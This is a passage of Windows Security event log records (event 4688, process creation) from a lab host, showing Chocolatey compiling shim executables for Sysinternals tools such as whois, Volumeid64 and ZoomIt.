a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:41:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246965 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x648 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x468 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246964 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x468 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\whois.exe" --output="C:\ProgramData\chocolatey\bin\whois.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\whois.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246963 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa1c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf5c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES1B1F.tmp" "c:\ProgramData\chocolatey\bin\CSCABDB55899184C2F9468F6135BAEBFC.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246962 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdfc - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf5c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246961 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf5c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xab0 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\Volumeid64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123430_1611\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123430_1611\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123430_1611\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123430_1611\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123430_1611\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246960 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x7b0 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xab0 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246959 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xab0 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\Volumeid64.exe" --output="C:\ProgramData\chocolatey\bin\Volumeid64.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\Volumeid64.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246958 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9cc - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xec4 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES1A44.tmp" "c:\ProgramData\chocolatey\bin\CSC65D9D58DEC4F4BCC909C4722A3B687D.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246998 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc98 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x5d8 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES206F.tmp" "c:\ProgramData\chocolatey\bin\CSCBCF06C033CA442B1BADA07B438EBE1E.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246997 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x530 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x5d8 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246996 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5d8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc08 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\ZoomIt64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123431_5049\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123431_5049\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123431_5049\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123431_5049\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123431_5049\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246995 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb88 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc08 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246994 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc08 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\ZoomIt64.exe" --output="C:\ProgramData\chocolatey\bin\ZoomIt64.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\ZoomIt64.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246993 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa98 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe54 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES1F94.tmp" "c:\ProgramData\chocolatey\bin\CSCF94463C895654AF7BA867D14AEB6485.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246992 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x57c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe54 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246991 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe54 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x2e0 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\ZoomIt.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123431_2861\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123431_2861\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123431_2861\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123431_2861\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123431_2861\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246990 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd08 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x2e0 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246989 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x2e0 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\ZoomIt.exe" --output="C:\ProgramData\chocolatey\bin\ZoomIt.exe" 